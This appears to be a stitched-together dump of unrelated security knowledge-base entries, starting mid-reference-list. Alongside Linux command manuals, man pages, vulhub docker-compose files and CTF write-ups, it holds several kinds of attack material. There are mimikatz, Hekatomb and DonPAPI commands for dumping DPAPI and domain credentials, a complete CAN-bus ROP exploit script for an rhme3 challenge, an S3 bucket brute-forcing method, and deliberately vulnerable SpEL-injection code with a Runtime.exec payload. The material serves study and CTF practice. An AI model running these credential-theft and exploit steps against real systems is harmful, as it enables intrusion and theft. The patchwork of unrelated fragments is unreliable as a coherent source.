2019](https://unit42.paloaltonetworks.com/breaking-docker-via-runc-explaining-cve-2019-5736/) - [CVE-2019-5736: Escape from Docker and Kubernetes containers to root on host - dragonsector.pl](https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html) - [OWASP - Docker Security CheatSheet](https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Docker_Security_Cheat_Sheet.md) - [Anatomy of a hack: Docker Registry - NotSoSecure - April 6, 2017](https://www.notsosecure.com/anatomy-of-a-hack-docker-registry/) - [Linux Kernel Hacking 3.8: Privileged Container Escapes - Harvey Phillips @xcellerator](https://github.com/xcellerator/linux_kernel_hacking/tree/master/3_RootkitTechniques/3.8_privileged_container_escaping) * [Escaping privileged containers for fun - 2022-03-06 :: Jordy Zomer](https://pwning.systems/posts/escaping-containers-for-fun/)
sec-knowleage
# Windows - DPAPI > On Windows, credentials saved in the Windows Credentials Manager are encrypted using Microsoft's Data Protection API and stored as "blob" files in user AppData folder. ## Summary * [Data Protection API](#data-protection-api) * [List Credential Files](#list-credential-files) * [DPAPI LocalMachine Context](#dpapi-localmachine-context) * [Mimikatz - Credential Manager & DPAPI](#mimikatz---credential-manager--dpapi) * [Hekatomb - Steal all credentials on domain](#hekatomb---steal-all-credentials-on-domain) * [DonPAPI - Dumping DPAPI credz remotely](#donpapi---dumping-dpapi-credz-remotely) ## Data Protection API * Outside of a domain: the user's `password hash` is used to encrypt these "blobs". * Inside a domain: the `domain controller's master key` is used to encrypt these blobs. With the extracted private key of the domain controller, it is possible to decrypt all the blobs, and therefore to recover all the secrets recorded in the Windows identification manager of all the work stations in the domain. ```ps1 vaultcmd /list VaultCmd /listcreds:<namevault>|<guidvault> /all vaultcmd /listcreds:"Windows Credentials" /all ``` ### List Credential Files ```ps1 dir /a:h C:\Users\username\AppData\Local\Microsoft\Credentials\ dir /a:h C:\Users\username\AppData\Roaming\Microsoft\Credentials\ Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\ Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\ ``` ### DPAPI LocalMachine Context The `LocalMachine` context is used to protect data that is intended to be shared across different users or services on a single machine. This means that any user or service running on the machine can access the protected data with the appropriate credentials. In contrast, the `CurrentUser` context is used to protect data that is intended to be accessed only by the user who encrypted it, and cannot be accessed by other users or services on the same machine. ```ps1 $a = [System.Convert]::FromBase64String("AQAAANCMnd[...]") $b = [System.Security.Cryptography.ProtectedData]::Unprotect($a, $null, [System.Security.Cryptography.DataProtectionScope]::LocalMachine) [System.Text.Encoding]::ASCII.GetString($b) ``` ### Mimikatz - Credential Manager & DPAPI ```powershell # check the folder to find credentials dir C:\Users\<username>\AppData\Local\Microsoft\Credentials\* # check the file with mimikatz mimikatz dpapi::cred /in:C:\Users\<username>\AppData\Local\Microsoft\Credentials\2647629F5AA74CD934ECD2F88D64ECD0 # find master key mimikatz !sekurlsa::dpapi # use master key mimikatz dpapi::cred /in:C:\Users\<username>\AppData\Local\Microsoft\Credentials\2647629F5AA74CD934ECD2F88D64ECD0 /masterkey:95664450d90eb2ce9a8b1933f823b90510b61374180ed5063043273940f50e728fe7871169c87a0bba5e0c470d91d21016311727bce2eff9c97445d444b6a17b # find and export backup keys lsadump::backupkeys /system:dc01.lab.local /export # use backup keys dpapi::masterkey /in:"C:\Users\<USERNAME>\AppData\Roaming\Microsoft\Protect\S-1-5-21-2552734371-813931464-1050690807-1106\3e90dd9e-f901-40a1-b691-84d7f647b8fe" /pvk:ntds_capi_0_d2685b31-402d-493b-8d12-5fe48ee26f5a.pvk ``` ### Hekatomb - Steal all credentials on domain > [Processus-Thief/Hekatomb](https://github.com/Processus-Thief/HEKATOMB) is a python script that connects to LDAP directory to retrieve all computers and users informations. Then it will download all DPAPI blob of all users from all computers. Finally, it will extract domain controller private key through RPC uses it to decrypt all credentials. ```python pip3 install hekatomb hekatomb -hashes :ed0052e5a66b1c8e942cc9481a50d56 DOMAIN.local/administrator@10.0.0.1 -debug -dnstcp ``` ### DonPAPI - Dumping DPAPI credz remotely * [login-securite/DonPAPI](https://github.com/login-securite/DonPAPI) ```ps1 DonPAPI.py domain/user:passw0rd@target DonPAPI.py --hashes <LM>:<NT> domain/user@target # using domain backup key dpapi.py backupkeys --export -t domain/user:passw0rd@target_dc_ip python DonPAPI.py -pvk domain_backupkey.pvk domain/user:passw0rd@domain_network_list ``` ## References * [DPAPI - Extracting Passwords - HackTricks](https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords) * [DON PAPI, OU L’ART D’ALLER PLUS LOIN QUE LE DOMAIN ADMIN - LoginSecurité - CORTO GUEGUEN - 4 MARS 2022](https://www.login-securite.com/2022/03/04/don-papi-ou-lart-daller-plus-loin-que-le-avec-dpapi/)
sec-knowleage
inotifywait === 异步文件系统监控机制 ## 补充说明 **Inotify** 一种强大的、细粒度的、异步文件系统监控机制,它满足各种各样的文件监控需要,可以监控文件系统的访问属性、读写属性、权限属性、删除创建、移动等操作,也就是可以监控文件发生的一切变化。。 **inotify-tools** 是一个C库和一组命令行的工作提供Linux下inotify的简单接口。inotify-tools安装后会得到`inotifywait`和`inotifywatch`这两条命令: * **inotifywait命令** 可以用来收集有关文件访问信息,Linux发行版一般没有包括这个命令,需要安装inotify-tools,这个命令还需要将inotify支持编译入Linux内核,好在大多数Linux发行版都在内核中启用了inotify。 * **inotifywatch命令** 用于收集关于被监视的文件系统的统计数据,包括每个 inotify 事件发生多少次。 开始之前需要检测系统内核是否支持inotify: 使用`uname -r`命令检查Linux内核,如果低于2.6.13,就需要重新编译内核加入inotify的支持。 使用`ll /proc/sys/fs/inotify`命令,是否有以下三条信息输出,如果没有表示不支持。 ```shell ll /proc/sys/fs/inotify total 0 -rw-r--r-- 1 root root 0 Jan 4 15:41 max_queued_events -rw-r--r-- 1 root root 0 Jan 4 15:41 max_user_instances -rw-r--r-- 1 root root 0 Jan 4 15:41 max_user_watches ``` ### 安装inotify-tools * inotify-tools项目地址:https://github.com/rvoicilas/inotify-tools * inotify-tools下载地址:http://github.com/downloads/rvoicilas/inotify-tools/inotify-tools-3.14.tar.gz ```shell #CentOS release 5.8/64位: tar zxvf inotify-tools-3.14.tar.gz cd inotify-tools-3.14 ./configure make make install ``` 其他Linux发行版安装方法可以参见:https://github.com/rvoicilas/inotify-tools/wiki#wiki-getting ### inotify相关参数 inotify定义了下列的接口参数,可以用来限制inotify消耗kernel memory的大小。由于这些参数都是内存参数,因此,可以根据应用需求,实时的调节其大小: * `/proc/sys/fs/inotify/max_queued_evnets`表示调用inotify_init时分配给inotify instance中可排队的event的数目的最大值,超出这个值的事件被丢弃,但会触发IN_Q_OVERFLOW事件。 * `/proc/sys/fs/inotify/max_user_instances`表示每一个real user id可创建的inotify instatnces的数量上限。 * `/proc/sys/fs/inotify/max_user_watches`表示每个inotify instatnces可监控的最大目录数量。如果监控的文件数目巨大,需要根据情况,适当增加此值的大小。 根据以上在32位或者64位系统都可以执行: ```shell echo 104857600 > /proc/sys/fs/inotify/max_user_watches echo 'echo 104857600 > /proc/sys/fs/inotify/max_user_watches' >> /etc/rc.local ``` 如果遇到以下错误: ```shell inotifywait: error while loading shared libraries: libinotifytools.so.0: cannot open shared object file: No such file or directory ``` ```shell **解决方法:** 32位系统:ln -s /usr/local/lib/libinotifytools.so.0 /usr/lib/libinotifytools.so.0 64位系统:ln -s /usr/local/lib/libinotifytools.so.0 /usr/lib64/libinotifytools.so.0 ``` ### inotifywait命令使用 ```shell #!/bin/bash #filename watchdir.sh path=$1 /usr/local/bin/inotifywait -mrq --timefmt '%d/%m/%y/%H:%M' --format '%T %w %f' -e modify,delete,create,attrib $path 执行输出: ./watchdir.sh /data/wsdata/tools/ 04/01/13/16:34 /data/wsdata/tools/ .j.jsp.swp 04/01/13/16:34 /data/wsdata/tools/ .j.jsp.swx 04/01/13/16:34 /data/wsdata/tools/ .j.jsp.swx 04/01/13/16:34 /data/wsdata/tools/ .j.jsp.swp 04/01/13/16:34 /data/wsdata/tools/ .j.jsp.swp 04/01/13/16:34 /data/wsdata/tools/ .j.jsp.swp 04/01/13/16:34 /data/wsdata/tools/ .j.jsp.swp 04/01/13/16:34 /data/wsdata/tools/ .j.jsp.swp 04/01/13/16:35 /data/wsdata/tools/ 4913 04/01/13/16:35 /data/wsdata/tools/ 4913 04/01/13/16:35 /data/wsdata/tools/ 4913 04/01/13/16:35 /data/wsdata/tools/ j.jsp 04/01/13/16:35 /data/wsdata/tools/ j.jsp 04/01/13/16:35 /data/wsdata/tools/ j.jsp 04/01/13/16:35 /data/wsdata/tools/ j.jsp~ 04/01/13/16:35 /data/wsdata/tools/ .j.jsp.swp ``` ### inotifywait命令参数 * `-m`是要持续监视变化。 * `-r`使用递归形式监视目录。 * `-q`减少冗余信息,只打印出需要的信息。 * `-e`指定要监视的事件列表。 * `--timefmt`是指定时间的输出格式。 * `--format`指定文件变化的详细信息。 ### 可监听的事件 事件 | 描述 --- | --- access | **访问** ,读取文件。 modify | **修改** ,文件内容被修改。 attrib | **属性** ,文件元数据被修改。 move | **移动** ,对文件进行移动操作。 create | **创建** ,生成新文件 open | **打开** ,对文件进行打开操作。 close | **关闭** ,对文件进行关闭操作。 delete | **删除** ,文件被删除。
sec-knowleage
.ig \"-*- nroff -*- Copyright (C) 2000 Stein Gjoen Permission is granted to make and distribute verbatim copies of this manual provided the copyright notice and this permission notice are preserved on all copies. Permission is granted to copy and distribute modified versions of this manual under the conditions for verbatim copying, provided that the entire resulting derived work is distributed under the terms of a permission notice identical to this one. Permission is granted to copy and distribute translations of this manual into another language, under the above conditions for modified versions, except that this permission notice may be included in translations approved by the Free Software Foundation instead of in the original English. .. .TH "LDP Introduction" 7 2001-11-15 "LDP" .SH NAME LDP \- Linux文档工程的简介,包括帮助,向导和文档 .SH "总览 SYNOPSIS" Linux文档工程(LDP)为Linux社区提供多种自由文档资源,包括向导 (guide),常见问答 (FAQ),入门 (HOWTO) 以及手册页 (man-pages). .SH "作者 AUTHORS" 独立的作者维护着LDP档案中的不同的文档, 他们的名字列在了每一个入门(HOWTO)的开头. 如果你对于某个文档有任何问题或者意见,我们鼓励你直接和作者联系。 .SH "网页 WEB PAGES" LDP有自己专门的网站, 同时还有很多不同的翻译工程,可以从LDP的主网站 .RS \fBhttp://www\&.tldp\&.org/\fP .RE (或许你想把它加入书签) 链接过去. .SH "手册页 MAN PAGES" 手册页的状态信息以及翻译情况的网页位于 .RS \fBhttp://www\&.win\&.tue\&.nl/~aeb/linux/man/\fP .RE .SH "邮件列表 MAILING LISTS" LDP有一系列的专门的邮件列表,绝大多数是面向文档作者的: .PP .PD 0 .TP .PD \fB<ldp\-announce@lists\&.tldp\&.org>\fP LDP的通告 .TP \fB<ldp\-discuss@lists\&.tldp\&.org>\fP 对于LDP的一般的讨论 .PP 要加入这些列表,可以发一封信体含有 "subscribe" 的信相应地 给 \fB<ldp\-announce\-request@lists\&.tldp\&.org>\fP 或者 \fB<ldp\-discuss\-request@lists\&.tldp\&.org>\fP. 这些邮件列表同时也在tldp\&.org站点有存档. .SH "文件 FILES" 大多数(Linux)发行版在安装的时候包含了入门(HOWTOs)和简单入门(mini-HOWTOS)在相应目录下: .PD 0 .TP \fB/usr/doc/\fP (文档的旧位置) .TP \fB/usr/share/doc/\fP (文档的新位置) .TP \fB/usr/share/doc/HOWTO/\fP (HOWTO 文件) .TP \fB/usr/share/doc/HOWTO/mini/\fP (mini-HOWTO 文件) .PD .SH "参见 SEE ALSO" .BR man (1), .BR xman (1x), .BR info (1) .PP \fBinfo\fP 信息页,使用 .BR emacs (1) 或 .BR info (1) 来阅读。 .SH "[中文版维护人]" .B 严亚勤 <tinyfat@263.net> .SH "[中文版最新更新]" .B 2002.04.26 .SH "《中国linux论坛man手册翻译计划》:" .BI http://cmpp.linuxforum.net
sec-knowleage
smbclient === 交互方式访问samba服务器 ## 补充说明 **smbclient命令** 属于samba套件,它提供一种命令行使用交互式方式访问samba服务器的共享资源。 ### 语法 ```shell smbclient(选项)(参数) ``` ### 选项 ```shell -B<ip地址>:传送广播数据包时所用的IP地址; -d<排错层级>:指定记录文件所记载事件的详细程度; -E:将信息送到标准错误输出设备; -h:显示帮助; -i<范围>:设置NetBIOS名称范围; -I<IP地址>:指定服务器的IP地址; -l<记录文件>:指定记录文件的名称; -L:显示服务器端所分享出来的所有资源; -M<NetBIOS名称>:可利用WinPopup协议,将信息送给选项中所指定的主机; -n<NetBIOS名称>:指定用户端所要使用的NetBIOS名称; -N:不用询问密码; -O<连接槽选项>:设置用户端TCP连接槽的选项; -p<TCP连接端口>:指定服务器端TCP连接端口编号; -R<名称解析顺序>:设置NetBIOS名称解析的顺序; -s<目录>:指定smb.conf所在的目录; -t<服务器字码>:设置用何种字符码来解析服务器端的文件名称; -T<tar选项>:备份服务器端分享的全部文件,并打包成tar格式的文件; -U<用户名称>:指定用户名称; -w<工作群组>:指定工作群组名称。 ``` ### 参数 smb服务器:指定要连接的smb服务器。 ### 实例 **列出某个IP地址所提供的共享文件夹** ```shell smbclient -L 198.168.0.1 -U username%password ``` **像ftp客户端一样使用smbclient** ```shell smbclient //192.168.0.1/tmp -U username%password ``` 执行smbclient命令成功后,进入smbclient环境,出现提示符:`smb:/>` 这里有许多命令和ftp命令相似,如cd 、lcd、get、megt、put、mput等。通过这些命令,我们可以访问远程主机的共享资源。 **直接一次性使用smbclient命令** ```shell smbclient -c "ls" //192.168.0.1/tmp -U username%password ``` 和 ```shell smbclient //192.168.0.1/tmp -U username%password smb:/>ls ``` 功能一样的。 **创建一个共享文件夹** ```shell smbclient -c "mkdir share1" //192.168.0.1/tmp -U username%password ``` 如果用户共享`//192.168.0.1/tmp`的方式是只读的,会提示`NT_STATUS_ACCESS_DENIED making remote directory /share1`
sec-knowleage
version: '2' services: es: image: vulhub/elasticsearch:1.4.2 ports: - "9200:9200" - "9300:9300"
sec-knowleage
#!/usr/bin/python2 from pwn import * def attack(connection, can): def sim_run(): can.send(p8(0)) def sim_run_few(): for _ in xrange(1): sim_run() connection.recvuntil("MAIN_LOOP") def can_send_frame(ctrl, sid, eid, data): sim_run_few() can.send(p8(1)) frame = struct.pack("<BHBB8s", ctrl, sid, eid, len(data), data) can.send(frame) def build_certificate(rop, point_x, point_y): message_size = 0x40 buffer = StringIO() buffer.write(p8(0x30)) buffer.write(p8(message_size - 2)) buffer.write("A") buffer.write(p8(message_size - 5)) buffer.write("B" * 2) buffer.write(rop) padding = message_size - buffer.tell() buffer.write("C" * padding) buffer.write(p8(1)) buffer.write("D" * 2) buffer.write(p8(1)) buffer.write("E" * 2) buffer.write(p8(0x31)) buffer.write(p8(4)) buffer.write(pack(point_x, word_size = 0x18 << 3, endianness = "little")) buffer.write(pack(point_y, word_size = 0x18 << 3, endianness = "little")) padding = 0x271 - buffer.tell() buffer.write("F" * padding) padding = - buffer.tell() padding %= 7 buffer.write("G" * padding) content_size = buffer.tell() # overwrite message_size for sub_66c5 buffer.write("H" * 4) buffer.write(p16(message_size, endianness = "little")) data = buffer.getvalue() return content_size, data def app_send_0776_certificate(): buffer = StringIO() buffer.write(pack(0x4c4a, word_size = 0x18, endianness = "big")) buffer.write(p16(0x1337, endianness = "big")) buffer.write(pack(0x8d91, word_size = 0x18, endianness = "big")) buffer.write(p16(0x210a - 1, endianness = "big")) buffer.write("I" * 2) buffer.write(pack(0x4c46, word_size = 0x18, endianness = "big")) buffer.write("J" * 4) buffer.write(pack(0x4e8f, word_size = 0x18, endianness = "big")) certificate_content_size, certificate_data = build_certificate( # overwrite ret address with 002720 point_x = 0xffffffffffffffffffffffffffffffffffffffffff5ab893, point_y = 1, rop = buffer.getvalue(), ) # (1) Initilize single byte that will follow certificate_data in rx queue. # The byte will be interpreted as type of message consumed when we execute sub_2720 via exploit. queue_content_size = len(certificate_data) + 7 queue_data = "I" * queue_content_size reader = StringIO(queue_data) chunk = reader.read(6) can_send_frame(0, 0, 0, p8(0x10 | (queue_content_size >> 8)) + p8(queue_content_size & 0xff) + chunk) sequence = 0 chunk = reader.read(7) while chunk != b"": sequence += 1 sequence &= 0x0f if reader.tell() == queue_content_size: can_send_frame(0, 0, 0, p8(0x10) + chunk) else: can_send_frame(0, 0, 0, p8(0x20 | sequence) + chunk) chunk = reader.read(7) # (2) Overwrite ret address from bigint_mul_u via overlapping heap buffer. reader = StringIO(certificate_data) chunk = reader.read(6) can_send_frame(0, 0x0776, 0, p8(0x10 | (certificate_content_size >> 8)) + p8(certificate_content_size & 0xff) + chunk) sequence = 0 chunk = reader.read(7) while chunk != b"": sequence += 1 sequence &= 0x0f can_send_frame(0, 0, 0, p8(0x20 | sequence) + chunk) chunk = reader.read(7) app_send_0776_certificate() context.log_level = "debug" sim_run() connection.recvuntil("It's dangerous to go alone! take this.") flag = connection.recvn(0x20) info("flag = %s", flag) can_local, can_remote = socket.socketpair(socket.AF_UNIX, socket.SOCK_STREAM) with process(["/mnt/rhme3/dev/simavr/simavr/run_avr", "-m", "atmega2560", "-f", "1000000", "climate_controller.hex"], env = {"P4_CAN_FD": str(can_remote.fileno())}, close_fds = False) as uart: attack(uart, can_local)
sec-knowleage
def egcd(a, b): u, u1 = 1, 0 v, v1 = 0, 1 while b: q = a // b u, u1 = u1, u - q * u1 v, v1 = v1, v - q * v1 a, b = b, a - q * b return a, u, v def phi(p, q): return (p - 1) * (q - 1) def get_d(p, n, e): q = n / p phi_v = phi(p, q) _gcd, d, _2 = egcd(e, phi_v) if d < 0: d += phi_v return d def modular_sqrt(a, p): """ Find a quadratic residue (mod p) of 'a'. p must be an odd prime. Solve the congruence of the form: x^2 = a (mod p) And returns x. Note that p - x is also a root. 0 is returned is no square root exists for these a and p. The Tonelli-Shanks algorithm is used (except for some simple cases in which the solution is known from an identity). This algorithm runs in polynomial time (unless the generalized Riemann hypothesis is false). """ # Simple cases # if legendre_symbol(a, p) != 1: return 0 elif a == 0: return 0 elif p == 2: return p elif p % 4 == 3: return pow(a, (p + 1) / 4, p) # Partition p-1 to s * 2^e for an odd s (i.e. # reduce all the powers of 2 from p-1) # s = p - 1 e = 0 while s % 2 == 0: s /= 2 e += 1 # Find some 'n' with a legendre symbol n|p = -1. # Shouldn't take long. # n = 2 while legendre_symbol(n, p) != -1: n += 1 # Here be dragons! # Read the paper "Square roots from 1; 24, 51, # 10 to Dan Shanks" by Ezra Brown for more # information # # x is a guess of the square root that gets better # with each iteration. # b is the "fudge factor" - by how much we're off # with the guess. The invariant x^2 = ab (mod p) # is maintained throughout the loop. # g is used for successive powers of n to update # both a and b # r is the exponent - decreases with each update # x = pow(a, (s + 1) / 2, p) b = pow(a, s, p) g = pow(n, s, p) r = e while True: t = b m = 0 for m in xrange(r): if t == 1: break t = pow(t, 2, p) if m == 0: return x gs = pow(g, 2 ** (r - m - 1), p) g = (gs * gs) % p x = (x * gs) % p b = (b * g) % p r = m def legendre_symbol(a, p): ls = pow(a, (p - 1) / 2, p) return -1 if ls == p - 1 else ls class Rabin(object): def __init__(self, p, q): self.p = p self.q = q self.n = p * q def encrypt(self, m): return (m * m) % self.n def decrypt(self, c): try: gcd, yp, yq = egcd(self.p, self.q) mp = modular_sqrt(c, self.p) mq = modular_sqrt(c, self.q) assert yp * self.p + yq * self.q == 1 assert (mp * mp) % self.p == c % self.p assert (mq * mq) % self.q == c % self.q r1 = (yp * self.p * mq + yq * self.q * mp) % self.n s1 = (yp * self.p * mq - yq * self.q * mp) % self.n r2 = self.n - r1 s2 = self.n - s1 return r1, s1, r2, s2 except AssertionError: return [] n = 20313365319875646582924758840260496108941009482470626789052986536609343163264552626895564532307L p = 123722643358410276082662590855480232574295213977L q = n / p e = 31415926535897932384L e_p = e / 32 ct = 19103602508342401901122269279664114182748999577286972038123073823905007006697188423804611222902 d = get_d(p, n, e_p) rabin = Rabin(p, q) partially_decoded_ct = [ct] for i in range(5): new_partially_decoded_ct = [] for ct_p in partially_decoded_ct: new_ct_p = rabin.decrypt(ct_p) new_partially_decoded_ct.extend(list(new_ct_p)) partially_decoded_ct = set(new_partially_decoded_ct) potential_plaintext = [] for potential_rsa_ct in partially_decoded_ct: pt = pow(potential_rsa_ct, d, n) potential_plaintext.append(pt) print(potential_plaintext)
sec-knowleage
--- title: Bucket 爆破 --- <center><h1>Bucket 爆破</h1></center> --- 当不知道 Bucket 名称的时候,可以通过爆破获得 Bucket 名称,这有些类似于目录爆破,只不过目录爆破一般通过状态码判断,而这个通过页面的内容判断。 当 Bucket 不存在时有两种返回情况,分别是 InvalidBucketName 和 NoSuchBucket </br> <img width="700" src="/img/1650005494.png"></br> </br> <img width="700" src="/img/1650005540.png"></br> 当 Bucket 存在时也会有两种情况,一种是列出 Object </br> <img width="700" src="/img/1650005558.png"></br> 另一种是返回 AccessDenied </br> <img width="700" src="/img/1650005584.png"></br> 这样通过返回内容的不同,就可以进行 Bucket 名称爆破了,知道 Bucket 名称后,Key 的爆破也就很容易了。 <Vssue /> <script> export default { mounted () { this.$page.lastUpdated = "2022年4月15日" } } </script>
sec-knowleage
version: '2' services: web: image: vulhub/joomla:3.4.5 depends_on: - mysql environment: - JOOMLA_DB_HOST=mysql - JOOMLA_DB_PORT=3306 - JOOMLA_DB_USER=root - JOOMLA_DB_PASSWORD=vulhub - JOOMLA_DB_NAME=joomla ports: - "8080:80" mysql: image: mysql:5.5 environment: - MYSQL_ROOT_PASSWORD=vulhub
sec-knowleage
.TH CBDSQR 3 "15 June 2000" "LAPACK version 3.0" .SH NAME CBDSQR \- 计算一个实 (real) NxN 上/下 (upper/lower) 三角 (bidiagonal) 矩阵 B 的单值分解 (singular value decomposition (SVD)) .SH "总览 SYNOPSIS" .TP 19 SUBROUTINE CBDSQR( UPLO, N, NCVT, NRU, NCC, D, E, VT, LDVT, U, LDU, C, LDC, RWORK, INFO ) .TP 19 .ti +4 CHARACTER UPLO .TP 19 .ti +4 INTEGER INFO, LDC, LDU, LDVT, N, NCC, NCVT, NRU .TP 19 .ti +4 REAL D( * ), E( * ), RWORK( * ) .TP 19 .ti +4 COMPLEX C( LDC, * ), U( LDU, * ), VT( LDVT, * ) .SH PURPOSE CBDSQR computes the singular value decomposition (SVD) of a real N-by-N (upper or lower) bidiagonal matrix B: B = Q * S * P' (P' denotes the transpose of P), where S is a diagonal matrix with non-negative diagonal elements (the singular values of B), and Q and P are orthogonal matrices. .br The routine computes S, and optionally computes U * Q, P' * VT, or Q' * C, for given complex input matrices U, VT, and C. See "Computing Small Singular Values of Bidiagonal Matrices With Guaranteed High Relative Accuracy," by J. Demmel and W. Kahan, LAPACK Working Note #3 (or SIAM J. Sci. Statist. Comput. vol. 11, no. 5, pp. 873-912, Sept 1990) and .br "Accurate singular values and differential qd algorithms," by B. Parlett and V. Fernando, Technical Report CPAM-554, Mathematics Department, University of California at Berkeley, July 1992 for a detailed description of the algorithm. .br .SH ARGUMENTS .TP 8 UPLO (input) CHARACTER*1 = 'U': B is upper bidiagonal; .br = 'L': B is lower bidiagonal. .TP 8 N (input) INTEGER The order of the matrix B. N >= 0. .TP 8 NCVT (input) INTEGER The number of columns of the matrix VT. NCVT >= 0. .TP 8 NRU (input) INTEGER The number of rows of the matrix U. NRU >= 0. .TP 8 NCC (input) INTEGER The number of columns of the matrix C. NCC >= 0. .TP 8 D (input/output) REAL array, dimension (N) On entry, the n diagonal elements of the bidiagonal matrix B. On exit, if INFO=0, the singular values of B in decreasing order. .TP 8 E (input/output) REAL array, dimension (N) On entry, the elements of E contain the offdiagonal elements of of the bidiagonal matrix whose SVD is desired. On normal exit (INFO = 0), E is destroyed. If the algorithm does not converge (INFO > 0), D and E will contain the diagonal and superdiagonal elements of a bidiagonal matrix orthogonally equivalent to the one given as input. E(N) is used for workspace. .TP 8 VT (input/output) COMPLEX array, dimension (LDVT, NCVT) On entry, an N-by-NCVT matrix VT. On exit, VT is overwritten by P' * VT. VT is not referenced if NCVT = 0. .TP 8 LDVT (input) INTEGER The leading dimension of the array VT. LDVT >= max(1,N) if NCVT > 0; LDVT >= 1 if NCVT = 0. .TP 8 U (input/output) COMPLEX array, dimension (LDU, N) On entry, an NRU-by-N matrix U. On exit, U is overwritten by U * Q. U is not referenced if NRU = 0. .TP 8 LDU (input) INTEGER The leading dimension of the array U. LDU >= max(1,NRU). .TP 8 C (input/output) COMPLEX array, dimension (LDC, NCC) On entry, an N-by-NCC matrix C. On exit, C is overwritten by Q' * C. C is not referenced if NCC = 0. .TP 8 LDC (input) INTEGER The leading dimension of the array C. LDC >= max(1,N) if NCC > 0; LDC >=1 if NCC = 0. .TP 8 RWORK (workspace) REAL array, dimension (4*N) .TP 8 INFO (output) INTEGER = 0: successful exit .br < 0: If INFO = -i, the i-th argument had an illegal value .br > 0: the algorithm did not converge; D and E contain the elements of a bidiagonal matrix which is orthogonally similar to the input matrix B; if INFO = i, i elements of E have not converged to zero. .SH PARAMETERS .TP 8 TOLMUL REAL, default = max(10,min(100,EPS**(-1/8))) TOLMUL controls the convergence criterion of the QR loop. If it is positive, TOLMUL*EPS is the desired relative precision in the computed singular values. If it is negative, abs(TOLMUL*EPS*sigma_max) is the desired absolute accuracy in the computed singular values (corresponds to relative accuracy abs(TOLMUL*EPS) in the largest singular value. abs(TOLMUL) should be between 1 and 1/EPS, and preferably between 10 (for fast convergence) and .1/EPS (for there to be some accuracy in the results). Default is to lose at either one eighth or 2 of the available decimal digits in each computed singular value (whichever is smaller). .TP 8 MAXITR INTEGER, default = 6 MAXITR controls the maximum number of passes of the algorithm through its inner loop. The algorithms stops (and so fails to converge) if the number of passes through the inner loop exceeds MAXITR*N**2. .SH "[中文版维护人]" .B 姓名 <email> .SH "[中文版最新更新]" .B yyyy.mm.dd .SH "《中国linux论坛man手册页翻译计划》:" .BI http://cmpp.linuxforum.net
sec-knowleage
elinks === 纯文本界面的WWW浏览器 ## 补充说明 **elinks命令** 能实现一个纯文本界面的WWW浏览器,操作方式与“lynx”类似。 ### 语法 ```shell elinks(选项)(参数) ``` ### 选项 ```shell -anonymous:是否使用匿名帐号方式; -auto-submit:对于偶然遇到的第一个表单是否自动提交; -config-dir:指定elinks指令运行时读取和写入自身的配置和运行状态的存放目录; -dump:将HTML文档以纯文本的方式打印到标准输出设备; -version:显示指令的版本信息; -h:显示帮助信息。 ``` ### 参数 URL:指定要访问的URL地址。
sec-knowleage
## Reverse 100 (re, 100p) ### PL [ENG](#eng-version) Dostajemy [program](./r100) (elf konkretnie), który wykonuje bardzo proste sprawdzenie hasła i odpowiada czy hasło jest poprawne czy nie. Domyślamy się że poprawne hasło jest flagą. Cały program to coś w rodzaju: int main() { printf("Enter the password: "); if (fgets(&password, 255, stdin)) { if (check_password(password)) { puts("Incorrect password!"); } else { puts("Nice!"); } } } Patrzymy więc w funkcję check_password (oczywiście nie nazywała się tak w binarce, nie dostaliśmy symboli): bool check_password(char *password) { char* arr[3] = { "Dufhbmf", "pG`imos", "ewUglpt" }; for (i = 0; i <= 11; ++i) { if (v3[8 * (i % 3)][2 * (i / 3)] - password[i] != 1) { return true; } } return false; } Z równania `v3[8 * (i % 3)][2 * (i / 3)] - password[i] != 1` od razu wynika co trzeba zrobić (coś - hasło ma być równe 1, czyli hasło = coś + 1). Wyliczyliśmy hasło na podstawie podanych stałych i zdobyliśmy flagę. ### ENG version We get a [binary](./r100) (elf to be exact), which performs a simple password check and returns if the password was correct or not. We expect the password to be the flag. Whole code is something like: int main() { printf("Enter the password: "); if (fgets(&password, 255, stdin)) { if (check_password(password)) { puts("Incorrect password!"); } else { puts("Nice!"); } } } We go into the check_password function (of course it was not called like that in the binary, there was no symbol table): bool check_password(char *password) { char* arr[3] = { "Dufhbmf", "pG`imos", "ewUglpt" }; for (i = 0; i <= 11; ++i) { if (v3[8 * (i % 3)][2 * (i / 3)] - password[i] != 1) { return true; } } return false; } From the equation `v3[8 * (i % 3)][2 * (i / 3)] - password[i] != 1` we can see right away what we need to do (something - password has to be equal to 1 so therefore password+something = 1) We simply calculated the password based on the constant values and got the flag.
sec-knowleage
# SpEL 注入 --- ## 免责声明 `本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.` --- **相关文章** - [SpEL表达式注入漏洞总结](https://www.mi1k7ea.com/2020/01/10/SpEL%E8%A1%A8%E8%BE%BE%E5%BC%8F%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E%E6%80%BB%E7%BB%93/) - [SPEL表达式注入-入门篇](https://www.kingkk.com/2019/05/SPEL%E8%A1%A8%E8%BE%BE%E5%BC%8F%E6%B3%A8%E5%85%A5-%E5%85%A5%E9%97%A8%E7%AF%87/) --- ## 什么是 SpEL 注入 Spring Expression Language(简称SpEL)是一种强大的表达式语言,支持在运行时查询和操作对象图。 语言语法类似于 Unified EL,但提供了额外的功能,特别是方法调用和基本的字符串模板功能。同时因为 SpEL 是以 API 接口的形式创建的,所以允许将其集成到其他应用程序和框架中。 当使用 SpelExpressionParser 解析 spel 表达式,且表达式可被外部控制,则可能导致 SPel 表达式注入从而造成 RCE. --- ## 漏洞代码示例 **示例1** ```java @RequestMapping(path = "/elinjection") public class SPelInjectionController { @RequestMapping(value="/spel.html",method= RequestMethod.GET) public String SPelInjection(ModelMap modelMap, HttpServletRequest request, HttpServletResponse response) throws IOException { String el=request.getParameter("el"); //el="T(java.lang.Runtime).getRuntime().exec(\"open /Applications/Calculator.app\")"; ExpressionParser PARSER = new SpelExpressionParser(); Expression exp = PARSER.parseExpression(el); return (String)exp.getValue(); } } ``` **示例2** ```java @GetMapping("/vul") public String spelVul(String ex) { ExpressionParser parser = new SpelExpressionParser(); String result = parser.parseExpression(ex).getValue().toString(); System.out.println(result); return result; } 